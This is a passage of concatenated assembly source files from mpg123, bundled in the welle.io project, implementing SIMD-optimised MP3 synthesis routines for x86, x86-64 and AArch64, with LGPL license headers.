movw %r9w, 64(out1,%rax,2)
leaq -32(out0,%rax,4), out0
negq %rax
leaq 32(out1,%rax,4), out1
vshufps $0x1e, %xmm6, %xmm6, %xmm0
vblendps $0x7, %xmm0, %xmm8, %xmm0
addps %xmm2, %xmm6
addps %xmm7, %xmm2
addps %xmm3, %xmm7
addps %xmm0, %xmm3
cvtps2dq %xmm6, %xmm6
cvtps2dq %xmm2, %xmm2
cvtps2dq %xmm7, %xmm7
cvtps2dq %xmm3, %xmm3
packssdw %xmm7, %xmm6
packssdw %xmm3, %xmm2
movq %xmm6, %rcx
pshufd $0x4e, %xmm6, %xmm7
movq %xmm2, %rdx
pshufd $0x4e, %xmm2, %xmm3
movq %xmm7, %r8
movq %xmm3, %r9
movw %cx, (out0)
movw %dx, (out0,%rax,1)
movw %r8w, (out0,%rax,2)
movw %r9w, -64(out0,%rax,2)
leaq (out0,%rax,4), out0
shr $16, %rcx
shr $16, %rdx
shr $16, %r8
shr $16, %r9
negq %rax
movw %cx, (out1)
movw %dx, (out1,%rax,1)
movw %r8w, (out1,%rax,2)
movw %r9w, 64(out1,%rax,2)
leaq (out1,%rax,4), out1
shr $16, %rcx
shr $16, %rdx
shr $16, %r8
shr $16, %r9
negq %rax
movw %cx, (out0)
movw %dx, (out0,%rax,1)
movw %r8w, (out0,%rax,2)
movw %r9w, -64(out0,%rax,2)
shr $16, %rcx
shr $16, %rdx
shr $16, %r8
shr $16, %r9
negq %rax
movw %cx, (out1)
movw %dx, (out1,%rax,1)
movw %r8w, (out1,%rax,2)
movw %r9w, 64(out1,%rax,2)
#ifdef IS_MSABI
pop %rsi
pop %rdi
movaps (%rsp), %xmm6
movaps 16(%rsp), %xmm7
movaps 32(%rsp), %xmm8
movaps 48(%rsp), %xmm9
movaps 64(%rsp), %xmm10
movaps 80(%rsp), %xmm11
movaps 96(%rsp), %xmm12
mov %rbp, %rsp
pop %rbp
#endif
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 5,274 | src/libs/mpg123/synth_stereo_neon64_s32.S | /*
synth_stereo_neon64_s32: NEON optimized synth for AArch64 (stereo specific, 32bit output version)
copyright 1995-2014 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN16
maxmin_s32:
.word 1191181824
.word -956301312
.word 1199570944
.text
ALIGN4
.globl ASM_NAME(synth_1to1_s32_s_neon64_asm)
#ifdef __ELF__
.type ASM_NAME(synth_1to1_s32_s_neon64_asm), %function
#endif
ASM_NAME(synth_1to1_s32_s_neon64_asm):
add x0, x0, #64
sub x0, x0, x4, lsl #2
eor v31.16b, v31.16b, v31.16b
adrp x5, AARCH64_PCREL_HI(maxmin_s32)
add x5, x5, AARCH64_PCREL_LO(maxmin_s32)
ld3r {v28.4s,v29.4s,v30.4s}, [x5]
sub sp, sp, #32
st1 {v8.2s,v9.2s,v10.2s,v11.2s}, [sp]
sub sp, sp, #32
st1 {v12.2s,v13.2s,v14.2s,v15.2s}, [sp]
mov w4, #4
mov x5, #128
1:
ld1 {v0.4s,v1.4s,v2.4s,v3.4s}, [x0], x5
ld1 {v4.4s,v5.4s,v6.4s,v7.4s}, [x0], x5
ld1 {v16.4s,v17.4s,v18.4s,v19.4s}, [x1], #64
ld1 {v20.4s,v21.4s,v22.4s,v23.4s}, [x2], #64
ld1 {v8.4s,v9.4s,v10.4s,v11.4s}, [x1], #64
ld1 {v12.4s,v13.4s,v14.4s,v15.4s}, [x2], #64
fmul v24.4s, v0.4s, v16.4s
fmul v25.4s, v0.4s, v20.4s
fmul v26.4s, v4.4s, v8.4s
fmul v27.4s, v4.4s, v12.4s
fmla v24.4s, v1.4s, v17.4s
fmla v25.4s, v1.4s, v21.4s
fmla v26.4s, v5.4s, v9.4s
fmla v27.4s, v5.4s, v13.4s
fmla v24.4s, v2.4s, v18.4s
fmla v25.4s, v2.4s, v22.4s
fmla v26.4s, v6.4s, v10.4s
fmla v27.4s, v6.4s, v14.4s
fmla v24.4s, v3.4s, v19.4s
fmla v25.4s, v3.4s, v23.4s
fmla v26.4s, v7.4s, v11.4s
fmla v27.4s, v7.4s, v15.4s
faddp v0.4s, v24.4s, v25.4s
faddp v1.4s, v26.4s, v27.4s
faddp v0.4s, v0.4s, v1.4s
fmul v1.4s, v0.4s, v30.4s
fcmgt v2.4s, v0.4s, v28.4s
fcmgt v3.4s, v29.4s, v0.4s
fcvtns v1.4s, v1.4s
add v2.4s, v2.4s, v3.4s
add v31.4s, v31.4s, v2.4s
st1 {v1.4s}, [x3], #16
ld1 {v0.4s,v1.4s,v2.4s,v3.4s}, [x0], x5
ld1 {v4.4s,v5.4s,v6.4s,v7.4s}, [x0], x5
ld1 {v16.4s,v17.4s,v18.4s,v19.4s}, [x1], #64
ld1 {v20.4s,v21.4s,v22.4s,v23.4s}, [x2], #64
ld1 {v8.4s,v9.4s,v10.4s,v11.4s}, [x1], #64
ld1 {v12.4s,v13.4s,v14.4s,v15.4s}, [x2], #64
fmul v24.4s, v0.4s, v16.4s
fmul v25.4s, v0.4s, v20.4s
fmul v26.4s, v4.4s, v8.4s
fmul v27.4s, v4.4s, v12.4s
fmla v24.4s, v1.4s, v17.4s
fmla v25.4s, v1.4s, v21.4s
fmla v26.4s, v5.4s, v9.4s
fmla v27.4s, v5.4s, v13.4s
fmla v24.4s, v2.4s, v18.4s
fmla v25.4s, v2.4s, v22.4s
fmla v26.4s, v6.4s, v10.4s
fmla v27.4s, v6.4s, v14.4s
fmla v24.4s, v3.4s, v19.4s
fmla v25.4s, v3.4s, v23.4s
fmla v26.4s, v7.4s, v11.4s
fmla v27.4s, v7.4s, v15.4s
faddp v0.4s, v24.4s, v25.4s
faddp v1.4s, v26.4s, v27.4s
faddp v0.4s, v0.4s, v1.4s
fmul v1.4s, v0.4s, v30.4s
fcmgt v2.4s, v0.4s, v28.4s
fcmgt v3.4s, v29.4s, v0.4s
fcvtns v1.4s, v1.4s
add v2.4s, v2.4s, v3.4s
add v31.4s, v31.4s, v2.4s
st1 {v1.4s}, [x3], #16
subs w4, w4, #1
b.ne 1b
mov w4, #4
mov x6, #-64
2:
ld1 {v0.4s,v1.4s,v2.4s,v3.4s}, [x0], x5
ld1 {v4.4s,v5.4s,v6.4s,v7.4s}, [x0], x5
ld1 {v16.4s,v17.4s,v18.4s,v19.4s}, [x1], x6
ld1 {v20.4s,v21.4s,v22.4s,v23.4s}, [x2], x6
ld1 {v8.4s,v9.4s,v10.4s,v11.4s}, [x1], x6
ld1 {v12.4s,v13.4s,v14.4s,v15.4s}, [x2], x6
fmul v24.4s, v0.4s, v16.4s
fmul v25.4s, v0.4s, v20.4s
fmul v26.4s, v4.4s, v8.4s
fmul v27.4s, v4.4s, v12.4s
fmla v24.4s, v1.4s, v17.4s
fmla v25.4s, v1.4s, v21.4s
fmla v26.4s, v5.4s, v9.4s
fmla v27.4s, v5.4s, v13.4s
fmla v24.4s, v2.4s, v18.4s
fmla v25.4s, v2.4s, v22.4s
fmla v26.4s, v6.4s, v10.4s
fmla v27.4s, v6.4s, v14.4s
fmla v24.4s, v3.4s, v19.4s
fmla v25.4s, v3.4s, v23.4s
fmla v26.4s, v7.4s, v11.4s
fmla v27.4s, v7.4s, v15.4s
faddp v0.4s, v24.4s, v25.4s
faddp v1.4s, v26.4s, v27.4s
faddp v0.4s, v0.4s, v1.4s
fmul v1.4s, v0.4s, v30.4s
fcmgt v2.4s, v0.4s, v28.4s
fcmgt v3.4s, v29.4s, v0.4s
fcvtns v1.4s, v1.4s
add v2.4s, v2.4s, v3.4s
add v31.4s, v31.4s, v2.4s
st1 {v1.4s}, [x3], #16
ld1 {v0.4s,v1.4s,v2.4s,v3.4s}, [x0], x5
ld1 {v4.4s,v5.4s,v6.4s,v7.4s}, [x0], x5
ld1 {v16.4s,v17.4s,v18.4s,v19.4s}, [x1], x6
ld1 {v20.4s,v21.4s,v22.4s,v23.4s}, [x2], x6
ld1 {v8.4s,v9.4s,v10.4s,v11.4s}, [x1], x6
ld1 {v12.4s,v13.4s,v14.4s,v15.4s}, [x2], x6
fmul v24.4s, v0.4s, v16.4s
fmul v25.4s, v0.4s, v20.4s
fmul v26.4s, v4.4s, v8.4s
fmul v27.4s, v4.4s, v12.4s
fmla v24.4s, v1.4s, v17.4s
fmla v25.4s, v1.4s, v21.4s
fmla v26.4s, v5.4s, v9.4s
fmla v27.4s, v5.4s, v13.4s
fmla v24.4s, v2.4s, v18.4s
fmla v25.4s, v2.4s, v22.4s
fmla v26.4s, v6.4s, v10.4s
fmla v27.4s, v6.4s, v14.4s
fmla v24.4s, v3.4s, v19.4s
fmla v25.4s, v3.4s, v23.4s
fmla v26.4s, v7.4s, v11.4s
fmla v27.4s, v7.4s, v15.4s
faddp v0.4s, v24.4s, v25.4s
faddp v1.4s, v26.4s, v27.4s
faddp v0.4s, v0.4s, v1.4s
fmul v1.4s, v0.4s, v30.4s
fcmgt v2.4s, v0.4s, v28.4s
fcmgt v3.4s, v29.4s, v0.4s
fcvtns v1.4s, v1.4s
add v2.4s, v2.4s, v3.4s
add v31.4s, v31.4s, v2.4s
st1 {v1.4s}, [x3], #16
subs w4, w4, #1
b.ne 2b
AARCH64_DUP_2D(v0, v31, 1)
add v0.4s, v0.4s, v31.4s
AARCH64_DUP_4S(v1, v0, 1)
add v0.4s, v0.4s, v1.4s
umov w0, v0.s[0]
neg w0, w0
ld1 {v12.2s,v13.2s,v14.2s,v15.2s}, [sp], #32
ld1 {v8.2s,v9.2s,v10.2s,v11.2s}, [sp], #32
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 7,314 | src/libs/mpg123/synth_3dnow.S | /*
decode_3dnow.s - 3DNow! optimized synth_1to1()
copyright ?-2007 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Syuuhei Kashiyama
This code based 'decode_3dnow.s' by Syuuhei Kashiyama
<squash@mb.kcom.ne.jp>,only two types of changes have been made:
- remove PREFETCH instruction for speedup
- change function name for support 3DNow! automatic detect
- femms moved to before 'call dct64_3dnow'
You can find Kashiyama's original 3dnow! support patch
(for mpg123-0.59o) at
http://user.ecc.u-tokyo.ac.jp/~g810370/linux-simd/ (Japanese).
by KIMURA Takuhiro <kim@hannah.ipc.miyakyo-u.ac.jp> - until 31.Mar.1999
<kim@comtec.co.jp> - after 1.Apr.1999
Replacement of synth_1to1() with AMD's 3DNow! SIMD operations support
Syuuhei Kashiyama <squash@mb.kcom.ne.jp>
The author of this program disclaim whole expressed or implied
warranties with regard to this program, and in no event shall the
author of this program liable to whatever resulted from the use of
this program. Use it at your own risk.
*/
#include "mangle.h"
#ifdef ACCURATE_ROUNDING
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN8
max_s16:
.long 1191181824 /* 32767.0 */
.long 1191181824
min_s16:
.long -956301312 /* -32768.0 */
.long -956301312
ftoi_magic:
.long 1262485504 /* 2^23 + 2^22 */
.long 1262485504
#endif
.text
ALIGN16
.globl ASM_NAME(synth_1to1_3dnow_asm)
/* int synth_1to1_3dnow_asm(real *bandPtr, int channel, unsigned char *out, unsigned char *buffs, int *bo, real *decwin); */
ASM_NAME(synth_1to1_3dnow_asm):
subl $24,%esp
pushl %ebp
pushl %edi
xorl %ebp,%ebp
pushl %esi
pushl %ebx
/* stack old: 0=ebx 4=esi 8=edi 12=ebp 16,20,24,28,32,36=local 40=back 44=bandptr 48=channel 52=out 56=pnt */
/* stack new: 0=ebx 4=esi 8=edi 12=ebp 16,20,24,28,32,36=local 40=back 44=bandptr 48=channel 52=out 56=buffs 60=bo 64=decwin */
#define OUT 52(%esp)
#define CHANNEL 48(%esp)
#define BANDPTR 44(%esp)
#define BUFFS 56(%esp)
#define BO 60(%esp)
#define DECWIN 64(%esp)
#define LOCAL0 16(%esp)
#define LOCAL1 20(%esp)
#define EBXSAVE 24(%esp)
#define LOCAL5 36(%esp)
#ifdef ACCURATE_ROUNDING
#undef _EBX_
#define _EBX_ %eax
GET_GOT
/* FIXME */
#if PIC
movl _EBX_, EBXSAVE
#endif
#endif
movl OUT,%esi
movl %esi,LOCAL0 /* save buffer start (samples pointer) to another local var */
movl CHANNEL,%ebx
movl BO,%esi /* bo address */
movl (%esi),%edx /* bo value */
femms
testl %ebx,%ebx
jne .L26
/* if(!channel) */
decl %edx /* --bo */
andl $15,%edx
movl %edx,(%esi) /* save bo */
movl BUFFS,%ecx
jmp .L27
.L26: /* if(channel) */
addl $2,LOCAL0 /* samples++ */
movl BUFFS,%ecx
addl $2176,%ecx
.L27:
/* edx (and it's lower end) still holds bo value */
testb $1,%dl /* bo & 0x1 */
je .L28
movl %edx,LOCAL5
movl %ecx,%ebx
movl BANDPTR,%esi
movl %edx,%edi
pushl %esi
sall $2,%edi
movl %ebx,%eax
movl %edi,24(%esp) /* LOCAL1, actually */
addl %edi,%eax
pushl %eax
movl %edx,%eax
incl %eax
andl $15,%eax
leal 1088(,%eax,4),%eax
addl %ebx,%eax
pushl %eax
call FUNC(dct64_3dnow)
addl $12,%esp
jmp .L29
.L28:
leal 1(%edx),%esi
movl BANDPTR,%edi
movl %esi,LOCAL5
leal 1092(%ecx,%edx,4),%eax
pushl %edi
leal 1088(%ecx),%ebx
pushl %eax
sall $2,%esi
leal (%ecx,%edx,4),%eax
pushl %eax
call FUNC(dct64_3dnow)
addl $12,%esp
movl %esi,LOCAL1
.L29:
movl DECWIN,%edx
addl $64,%edx
movl $16,%ecx
subl LOCAL1,%edx
movl LOCAL0,%edi
pcmpeqb %mm7,%mm7
pslld $31,%mm7
movq (%edx),%mm0
movq (%ebx),%mm1
ALIGN32
.L33:
#if defined(ACCURATE_ROUNDING) && defined(PIC)
movl EBXSAVE, _EBX_
#endif
movq 8(%edx),%mm3
pfmul %mm1,%mm0
movq 8(%ebx),%mm4
movq 16(%edx),%mm5
pfmul %mm4,%mm3
movq 16(%ebx),%mm6
pfadd %mm3,%mm0
movq 24(%edx),%mm1
pfmul %mm6,%mm5
movq 24(%ebx),%mm2
pfadd %mm5,%mm0
movq 32(%edx),%mm3
pfmul %mm2,%mm1
movq 32(%ebx),%mm4
pfadd %mm1,%mm0
movq 40(%edx),%mm5
pfmul %mm4,%mm3
movq 40(%ebx),%mm6
pfadd %mm3,%mm0
movq 48(%edx),%mm1
pfmul %mm6,%mm5
movq 48(%ebx),%mm2
pfadd %mm0,%mm5
movq 56(%edx),%mm3
pfmul %mm1,%mm2
movq 56(%ebx),%mm4
pfadd %mm5,%mm2
addl $64,%ebx
subl $-128,%edx
movq (%edx),%mm0
pfmul %mm4,%mm3
movq (%ebx),%mm1
pfadd %mm3,%mm2
movq %mm2,%mm3
psrlq $32,%mm3
pfsub %mm3,%mm2
incl %ebp
#ifdef ACCURATE_ROUNDING
pfmin LOCAL_VAR(max_s16),%mm2
pfmax LOCAL_VAR(min_s16),%mm2
pfadd LOCAL_VAR(ftoi_magic),%mm2
#else
pf2id %mm2,%mm2
packssdw %mm2,%mm2
#endif
movd %mm2,%eax
movw %ax,0(%edi)
addl $4,%edi
decl %ecx
jnz .L33
#if defined(ACCURATE_ROUNDING) && defined(PIC)
movl EBXSAVE, _EBX_
#endif
movd (%ebx),%mm0
movd (%edx),%mm1
punpckldq 8(%ebx),%mm0
punpckldq 8(%edx),%mm1
movd 16(%ebx),%mm3
movd 16(%edx),%mm4
pfmul %mm1,%mm0
punpckldq 24(%ebx),%mm3
punpckldq 24(%edx),%mm4
movd 32(%ebx),%mm5
movd 32(%edx),%mm6
pfmul %mm4,%mm3
punpckldq 40(%ebx),%mm5
punpckldq 40(%edx),%mm6
pfadd %mm3,%mm0
movd 48(%ebx),%mm1
movd 48(%edx),%mm2
pfmul %mm6,%mm5
punpckldq 56(%ebx),%mm1
punpckldq 56(%edx),%mm2
pfadd %mm5,%mm0
pfmul %mm2,%mm1
pfadd %mm1,%mm0
pfacc %mm1,%mm0
#ifdef ACCURATE_ROUNDING
pfmin LOCAL_VAR(max_s16),%mm0
pfmax LOCAL_VAR(min_s16),%mm0
pfadd LOCAL_VAR(ftoi_magic),%mm0
#else
pf2id %mm0,%mm0
packssdw %mm0,%mm0
#endif
movd %mm0,%eax
movw %ax,0(%edi)
incl %ebp
movl LOCAL5,%esi
addl $-64,%ebx
movl $15,%ebp
addl $4,%edi
leal -128(%edx,%esi,8),%edx
movl $15,%ecx
movd (%ebx),%mm0
movd -4(%edx),%mm1
punpckldq 4(%ebx),%mm0
punpckldq -8(%edx),%mm1
ALIGN32
.L46:
#if defined(ACCURATE_ROUNDING) && defined(PIC)
movl EBXSAVE, _EBX_
#endif
movd 8(%ebx),%mm3
movd -12(%edx),%mm4
pfmul %mm1,%mm0
punpckldq 12(%ebx),%mm3
punpckldq -16(%edx),%mm4
movd 16(%ebx),%mm5
movd -20(%edx),%mm6
pfmul %mm4,%mm3
punpckldq 20(%ebx),%mm5
punpckldq -24(%edx),%mm6
pfadd %mm3,%mm0
movd 24(%ebx),%mm1
movd -28(%edx),%mm2
pfmul %mm6,%mm5
punpckldq 28(%ebx),%mm1
punpckldq -32(%edx),%mm2
pfadd %mm5,%mm0
movd 32(%ebx),%mm3
movd -36(%edx),%mm4
pfmul %mm2,%mm1
punpckldq 36(%ebx),%mm3
punpckldq -40(%edx),%mm4
pfadd %mm1,%mm0
movd 40(%ebx),%mm5
movd -44(%edx),%mm6
pfmul %mm4,%mm3
punpckldq 44(%ebx),%mm5
punpckldq -48(%edx),%mm6
pfadd %mm3,%mm0
movd 48(%ebx),%mm1
movd -52(%edx),%mm2
pfmul %mm6,%mm5
punpckldq 52(%ebx),%mm1
punpckldq -56(%edx),%mm2
pfadd %mm0,%mm5
movd 56(%ebx),%mm3
movd -60(%edx),%mm4
pfmul %mm2,%mm1
punpckldq 60(%ebx),%mm3
punpckldq (%edx),%mm4
pfadd %mm1,%mm5
addl $-128,%edx
addl $-64,%ebx
movd (%ebx),%mm0
movd -4(%edx),%mm1
pfmul %mm4,%mm3
punpckldq 4(%ebx),%mm0
punpckldq -8(%edx),%mm1
pfadd %mm5,%mm3
pfacc %mm3,%mm3
incl %ebp
pxor %mm7,%mm3
#ifdef ACCURATE_ROUNDING
pfmin LOCAL_VAR(max_s16),%mm3
pfmax LOCAL_VAR(min_s16),%mm3
pfadd LOCAL_VAR(ftoi_magic),%mm3
#else
pf2id %mm3,%mm3
packssdw %mm3,%mm3
#endif
movd %mm3,%eax
movw %ax,(%edi)
addl $4,%edi
decl %ecx
jnz .L46
femms
movl %ebp,%eax
popl %ebx
popl %esi
popl %edi
popl %ebp
addl $24,%esp
ret
#if defined(PIC) && defined(__APPLE__)
.section __IMPORT,__jump_table,symbol_stubs,self_modifying_code+pure_instructions,5
L_dct64_3dnow:
.indirect_symbol ASM_NAME(dct64_3dnow)
hlt ; hlt ; hlt ; hlt ; hlt
#endif
NONEXEC_STACK
|
AlbrechtL/welle.io | 3,652 | src/libs/mpg123/synth_mmx.S | /*
synth_mmx: MMX optimized synth
copyright ?-2006 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by the mysterious higway (apparently)
Thomas' notes about the LGPL transition:
Initially, I found the note "this code comes under GPL" in this file.
After asking Michael Hipp about legal status of the MMX files, he said
that he received them without any comment and thus I believe that the GPL
comment was made by Michael, since he made mpg123 GPL at some time - and
marked some files that way, but not all. The contributer accepted the
license terms of mpg123 back then, which included Michael deciding on
license issues.
Based on that thought, I now consider this file along with the other parts
of higway's MMX optimisation to be licensed under LGPL 2.1 by Michael's
decision.
*/
#include "mangle.h"
.text
.globl ASM_NAME(synth_1to1_MMX)
/* int synth_1to1_MMX(real *bandPtr, int channel, short *out, short *buffs, int *bo, float *decwins); */
ASM_NAME(synth_1to1_MMX):
pushl %ebp
pushl %edi
pushl %esi
pushl %ebx
/* stack: 0=ebx, 4=esi, 8=edi, 12=ebp, 16=back, 20=bandPtr, 24=channel, 28=out, 32=buffs, 36=bo, 40=decwins */
movl 24(%esp),%ecx
movl 28(%esp),%edi
movl $15,%ebx
movl 36(%esp),%edx
leal (%edi,%ecx,2),%edi
decl %ecx
movl 32(%esp),%esi
movl (%edx),%eax
jecxz 1f
decl %eax
andl %ebx,%eax
leal 1088(%esi),%esi
movl %eax,(%edx)
1:
leal (%esi,%eax,2),%edx
movl %eax,%ebp
incl %eax
pushl 20(%esp)
andl %ebx,%eax
leal 544(%esi,%eax,2),%ecx
incl %ebx
testl $1, %eax
jnz 2f
xchgl %edx,%ecx
incl %ebp
leal 544(%esi),%esi
2:
pushl %edx
pushl %ecx
call FUNC(dct64_MMX)
addl $12,%esp
/* stack like before, pushed 3, incremented again */
leal 1(%ebx), %ecx
subl %ebp,%ebx
pushl %eax
movl 44(%esp),%eax /* decwins */
leal (%eax,%ebx,2), %edx
popl %eax
3:
movq (%edx),%mm0
pmaddwd (%esi),%mm0
movq 8(%edx),%mm1
pmaddwd 8(%esi),%mm1
movq 16(%edx),%mm2
pmaddwd 16(%esi),%mm2
movq 24(%edx),%mm3
pmaddwd 24(%esi),%mm3
paddd %mm1,%mm0
paddd %mm2,%mm0
paddd %mm3,%mm0
movq %mm0,%mm1
psrlq $32,%mm1
paddd %mm1,%mm0
psrad $13,%mm0
packssdw %mm0,%mm0
movd %mm0,%eax
movw %ax, (%edi)
leal 32(%esi),%esi
leal 64(%edx),%edx
leal 4(%edi),%edi
loop 3b
subl $64,%esi
movl $15,%ecx
4:
movq (%edx),%mm0
pmaddwd (%esi),%mm0
movq 8(%edx),%mm1
pmaddwd 8(%esi),%mm1
movq 16(%edx),%mm2
pmaddwd 16(%esi),%mm2
movq 24(%edx),%mm3
pmaddwd 24(%esi),%mm3
paddd %mm1,%mm0
paddd %mm2,%mm0
paddd %mm3,%mm0
movq %mm0,%mm1
psrlq $32,%mm1
paddd %mm0,%mm1
psrad $13,%mm1
packssdw %mm1,%mm1
psubd %mm0,%mm0
psubsw %mm1,%mm0
movd %mm0,%eax
movw %ax,(%edi)
subl $32,%esi
addl $64,%edx
leal 4(%edi),%edi
loop 4b
emms
popl %ebx
popl %esi
popl %edi
popl %ebp
ret
#if defined(PIC) && defined(__APPLE__)
.section __IMPORT,__jump_table,symbol_stubs,self_modifying_code+pure_instructions,5
L_dct64_MMX:
.indirect_symbol ASM_NAME(dct64_MMX)
hlt ; hlt ; hlt ; hlt ; hlt
#endif
NONEXEC_STACK
|
AlbrechtL/welle.io | 6,390 | src/libs/mpg123/synth_x86_64_accurate.S | /*
synth_x86_64_accurate: SSE optimized synth for x86-64 (MPEG-compliant 16bit output version)
copyright 1995-2009 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifdef IS_MSABI
/* short *window; */
#define ARG0 %r10
/* short *b0; */
#define ARG1 %rdx
/* short *samples; */
#define ARG2 %r8
/* int bo1; */
#define ARG3 %r9
#else
/* real *window; */
#define ARG0 %rdi
/* real *b0; */
#define ARG1 %rsi
/* real *samples; */
#define ARG2 %rdx
/* int bo1; */
#define ARG3 %rcx
#endif
#define XMMREG_MAX %xmm15 /* {32767.0, 32767.0, 32767.0, 32767.0} */
#define XMMREG_MIN %xmm14 /* {-32768.0, -32768.0, -32768.0, -32768.0} */
#define XMMREG_CLIP %xmm13
/*
int synth_1to1_x86_64_accurate_asm(real *window, real *b0, short *samples, int bo1);
return value: number of clipped samples
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN32
ASM_NAME(maxmin_s16):
.long 1191181824
.long 1191181824
.long 1191181824
.long 1191181824
.long -956301312
.long -956301312
.long -956301312
.long -956301312
.text
ALIGN16
.globl ASM_NAME(synth_1to1_x86_64_accurate_asm)
ASM_NAME(synth_1to1_x86_64_accurate_asm):
#ifdef IS_MSABI /* should save xmm6-15 */
movq %rcx, ARG0
subq $152, %rsp /* stack alignment + 9 xmm registers */
movaps %xmm6, (%rsp)
movaps %xmm7, 16(%rsp)
movaps %xmm8, 32(%rsp)
movaps %xmm9, 48(%rsp)
movaps %xmm10, 64(%rsp)
movaps %xmm11, 80(%rsp)
movaps %xmm13, 96(%rsp)
movaps %xmm14, 112(%rsp)
movaps %xmm15, 128(%rsp)
#endif
leaq ASM_NAME(maxmin_s16)(%rip), %rax
movaps (%rax), XMMREG_MAX
movaps 16(%rax), XMMREG_MIN
xorps XMMREG_CLIP, XMMREG_CLIP
andq $0xf, ARG3
shlq $2, ARG3
leaq 64(ARG0), ARG0
subq ARG3, ARG0
movl $4, %ecx
ALIGN16
1:
movups (ARG0), %xmm8
movups 16(ARG0), %xmm1
movups 32(ARG0), %xmm2
movups 48(ARG0), %xmm3
movups 128(ARG0), %xmm9
movups 144(ARG0), %xmm5
movups 160(ARG0), %xmm6
movups 176(ARG0), %xmm7
mulps (ARG1), %xmm8
mulps 16(ARG1), %xmm1
mulps 32(ARG1), %xmm2
mulps 48(ARG1), %xmm3
mulps 64(ARG1), %xmm9
mulps 80(ARG1), %xmm5
mulps 96(ARG1), %xmm6
mulps 112(ARG1), %xmm7
addps %xmm1, %xmm8
addps %xmm2, %xmm3
addps %xmm5, %xmm9
addps %xmm7, %xmm6
addps %xmm3, %xmm8
addps %xmm6, %xmm9
leaq 256(ARG0), ARG0
leaq 128(ARG1), ARG1
movups (ARG0), %xmm10
movups 16(ARG0), %xmm1
movups 32(ARG0), %xmm2
movups 48(ARG0), %xmm3
movups 128(ARG0), %xmm11
movups 144(ARG0), %xmm5
movups 160(ARG0), %xmm6
movups 176(ARG0), %xmm7
mulps (ARG1), %xmm10
mulps 16(ARG1), %xmm1
mulps 32(ARG1), %xmm2
mulps 48(ARG1), %xmm3
mulps 64(ARG1), %xmm11
mulps 80(ARG1), %xmm5
mulps 96(ARG1), %xmm6
mulps 112(ARG1), %xmm7
addps %xmm1, %xmm10
addps %xmm2, %xmm3
addps %xmm5, %xmm11
addps %xmm7, %xmm6
addps %xmm3, %xmm10
addps %xmm6, %xmm11
leaq 256(ARG0), ARG0
leaq 128(ARG1), ARG1
movaps %xmm8, %xmm0
movaps %xmm10, %xmm1
unpcklps %xmm9, %xmm8
unpcklps %xmm11, %xmm10
unpckhps %xmm9, %xmm0
unpckhps %xmm11, %xmm1
movaps %xmm8, %xmm2
movaps %xmm0, %xmm3
movlhps %xmm10, %xmm8
movhlps %xmm2, %xmm10
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
subps %xmm10, %xmm8
subps %xmm1, %xmm0
addps %xmm8, %xmm0
movups (ARG2), %xmm3
movaps %xmm0, %xmm1
movaps %xmm0, %xmm2
cmpnleps XMMREG_MAX, %xmm1
cmpltps XMMREG_MIN, %xmm2
cvtps2dq %xmm0, %xmm0
packssdw %xmm0, %xmm0
movhlps %xmm3, %xmm4
pshuflw $0xdd, %xmm3, %xmm3
pshuflw $0xdd, %xmm4, %xmm4
psrlq $32, %xmm3
psllq $32, %xmm4
por %xmm4, %xmm3
punpcklwd %xmm3, %xmm0
movups %xmm0, (ARG2)
psrld $31, %xmm1
psrld $31, %xmm2
paddd %xmm2, %xmm1
paddd %xmm1, XMMREG_CLIP
leaq 16(ARG2), ARG2
decl %ecx
jnz 1b
movl $4, %ecx
ALIGN16
1:
movups (ARG0), %xmm8
movups 16(ARG0), %xmm1
movups 32(ARG0), %xmm2
movups 48(ARG0), %xmm3
movups 128(ARG0), %xmm9
movups 144(ARG0), %xmm5
movups 160(ARG0), %xmm6
movups 176(ARG0), %xmm7
mulps (ARG1), %xmm8
mulps 16(ARG1), %xmm1
mulps 32(ARG1), %xmm2
mulps 48(ARG1), %xmm3
mulps -64(ARG1), %xmm9
mulps -48(ARG1), %xmm5
mulps -32(ARG1), %xmm6
mulps -16(ARG1), %xmm7
addps %xmm1, %xmm8
addps %xmm2, %xmm3
addps %xmm5, %xmm9
addps %xmm7, %xmm6
addps %xmm3, %xmm8
addps %xmm6, %xmm9
leaq 256(ARG0), ARG0
leaq -128(ARG1), ARG1
movups (ARG0), %xmm10
movups 16(ARG0), %xmm1
movups 32(ARG0), %xmm2
movups 48(ARG0), %xmm3
movups 128(ARG0), %xmm11
movups 144(ARG0), %xmm5
movups 160(ARG0), %xmm6
movups 176(ARG0), %xmm7
mulps (ARG1), %xmm10
mulps 16(ARG1), %xmm1
mulps 32(ARG1), %xmm2
mulps 48(ARG1), %xmm3
mulps -64(ARG1), %xmm11
mulps -48(ARG1), %xmm5
mulps -32(ARG1), %xmm6
mulps -16(ARG1), %xmm7
addps %xmm1, %xmm10
addps %xmm2, %xmm3
addps %xmm5, %xmm11
addps %xmm7, %xmm6
addps %xmm3, %xmm10
addps %xmm6, %xmm11
leaq 256(ARG0), ARG0
leaq -128(ARG1), ARG1
movaps %xmm8, %xmm0
movaps %xmm10, %xmm1
unpcklps %xmm9, %xmm8
unpcklps %xmm11, %xmm10
unpckhps %xmm9, %xmm0
unpckhps %xmm11, %xmm1
movaps %xmm8, %xmm2
movaps %xmm0, %xmm3
movlhps %xmm10, %xmm8
movhlps %xmm2, %xmm10
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
addps %xmm10, %xmm8
addps %xmm1, %xmm0
addps %xmm8, %xmm0
movups (ARG2), %xmm3
movaps %xmm0, %xmm1
movaps %xmm0, %xmm2
cmpnleps XMMREG_MAX, %xmm1
cmpltps XMMREG_MIN, %xmm2
cvtps2dq %xmm0, %xmm0
packssdw %xmm0, %xmm0
movhlps %xmm3, %xmm4
pshuflw $0xdd, %xmm3, %xmm3
pshuflw $0xdd, %xmm4, %xmm4
